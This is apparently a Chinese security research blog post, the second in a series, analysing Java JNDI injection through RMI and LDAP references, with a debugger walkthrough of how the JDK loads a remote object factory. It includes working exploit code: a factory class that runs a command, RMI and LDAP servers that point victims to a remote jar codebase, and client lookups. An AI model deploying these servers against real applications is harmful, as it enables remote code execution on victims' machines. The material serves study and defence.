Java JNDI注入(二)
前言:在笔记JNDI注入(一)中把ldap(jndi)的jdk8u 191之前的远程恶意加载类和rmi(jndi)的jdk9u113之前的远程恶意加载类都进行了介绍和复现之后
这篇来讲rmi(jndi)的jdk8u113之后和ldap(jndi)的jdk8u191之后的注入方式的原理
jndi注入之rmi
攻击者扮演Server端,受害者正常扮演Client端
攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类,但是原理上并非使用RMI Class Loading机制的,因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制,在下面的分析中我们会谈及到为什么不会受到java.rmi.server.useCodebaseOnly的影响
ReferenceObjectFactory.java
public class ReferenceObjectFactory implements ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
return Runtime.getRuntime().exec("calc");
}
}
RMIReferenceServerTest.java
攻击者首先给RMIServer绑定恶意对象工厂,Reference需要wrapper转换成可以绑定的对象。该而对象工厂需要提前编译为class文件
我这里在指定Reference的url参数的时候指定为远程地址中的一个jar包进行加载
public class RMIReferenceServerTest {
public static void main(String[] args) {
try {
// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类
String url = "http://127.0.0.1:81/CollectionsSerializable.jar";
// 对象的工厂类名
String className = "com.zpchcbd.jndi.objectfactory.ReferenceObjectFactory";
// 监听RMI服务端口
LocateRegistry.createRegistry(9527);
// 创建一个远程的JNDI对象工厂类的引用对象
Reference reference = new Reference(className, className, url);
// 转换为RMI引用对象,
// 因为Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,
// 所以需要使用ReferenceWrapper对Reference的实例进行一个封装。
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
// 绑定一个恶意的Remote对象到RMI服务
Naming.bind("rmi://192.168.1.230:9527/AAAAAA", referenceWrapper);
System.out.println("RMI服务启动成功,服务地址:" + "rmi://192.168.1.230:9527/AAAAAA");
} catch (Exception e) {
e.printStackTrace();
}
}
}
RMIReferenceClientTest.java
这里需要说下我这边环境需要开启trustURLCodebase为true,因为我jdk8是181的,不在rmi+jndi注入的范围内
注:JDK 6u132,7u122,8u113 之后 com.sun.jndi.rmi.object.trustURLCodebase 属性的默认值被调整为false,限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性
如果是ldap+jndi的话我181则可以不用开启trustURLCodebase
注:JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。
public class RMIReferenceClientTest{
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = context.lookup("rmi://192.168.1.230:9527/AAAAAA");
System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
context.lookup上面进行打断点,然后接下来开始单步分析

getURLOrDefaultInitCtx方法

getURLOrDefaultInitCtx方法中最终根据协议头来返回一个对应的Context对象,那么这里是rmi,所以返回一个rmi的Context

接着继续来到lookup方法,先调用的是getRootURLContext方法,该方法是对你的rmi地址进行格式解析,然后返回一个以根据解析出来的rmi地址、rmi端口等信息的一个注册中心的上下文

接着通过这个注册中心的上下文进行lookup,寻找刚才解析处理地址,也就是server绑定在注册中心上的对象,这里的get(0)传入的是服务端绑定到的对象的名称

接着又是真正开始调用registry_stub的lookup方法,构造远程调用对象remoteCall来进行序列化,接着就是通过传输remoteCall来请求获取绑定在服务端注册中心上的reference对象,这里绑定的是referenceWrapper,所以最终获得的就是该对象referenceWrapper_stub

获得了stub对象后,又开始进行decodeObject方法

这个decodeObject就是会进行判断是否是reference类,然后调用NamingManager.getObjectInstance方法

就这就来到了javax.naming.spi.NamingManager的类中的getObjectInstance,这里主要的两个方法分别是getObjectFactoryFromReference,getObjectInstance

先进到getObjectFactoryFromReference方法中,主要的作用则对指定的codebase中进行加载class,最后进行实例化返回

这个出来了之后就开始调用getObjectInstance,这个方法我们上面来继承ObjectFactory来进行重写,所以这里拿到的对象会调用我们重写的getObjectInstance

最后调用了指定codebase的jar包中的指定的类名,我这里是给了调用栈,原因是我这里跟不到远程的jar包里面

最终F8一下,就执行了我们重写的getObjectInstance方法中的内容,上面我写的是执行calc,所以这里就弹出来计算器

jndi注入之ldap
使用ldap的话,这里除了Ldap服务端的启动代码不同,其他的都是一样的,直接放代码了,lookup的时候改成基于ldap的协议即可
LdapServer.java
public class LdapServer {
public static void main(String[] args) throws Exception {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("172.20.10.5"),
1199,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()
));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer directoryServer = new InMemoryDirectoryServer(config);
directoryServer.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor{
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
String className = "com.zpchcbd.jndi.objectfactory.ldap.ReferenceObjectFactory";
String url = "http://172.20.10.5:81/CollectionSerializeble.jar";
Entry entry = new Entry(base);
entry.addAttribute("javaClassName", className);
entry.addAttribute("javaFactory", className);
entry.addAttribute("javaCodeBase", url);
entry.addAttribute("objectClass", "javaNamingReference");
try {
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}catch (Exception e){
e.printStackTrace();
}
}
}
}
LdapClient.java
public class LdapClient {
public static void main(String[] args) {
try {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
InitialContext context = new InitialContext();
// 获取RMI绑定的恶意ReferenceWrapper对象
Object obj = context.lookup("ldap://172.20.10.5:1199/listen");
System.out.println(obj);
} catch (NamingException e) {
e.printStackTrace();
}
}
}
可以看到同样能够进行JNDI注入,如下图所示

一些小问题
可能你会发现在创建reference对象的时候,Reference reference = new Reference(className, className, url);那么不是满足url为空的话,不也同样能够实现jndi注入吗?而且还实现了绕过ref.getFactoryClassLocation()这个判断不是吗?
答案不是的,这里可能是你本地环境的原因,当没有加载远程工厂类的话,那么就能够加载到本地的类,而如果你放在同一个目录来进行测试的话,那么正常的话就是能加载到,只是放置的目录碰巧一样了,如果不是的话就加载不了了,自己可以进行测试下

这里就可以思考一个问题,那么我们不基于外部的环境,也就是getFactoryClassLocation方法返回的为null

那是不是本地环境是有实现了ObjectFactory的类,那是不是就可以进行利用了?是的,这个放在下一篇jndi中来描述

浙公网安备 33010602011771号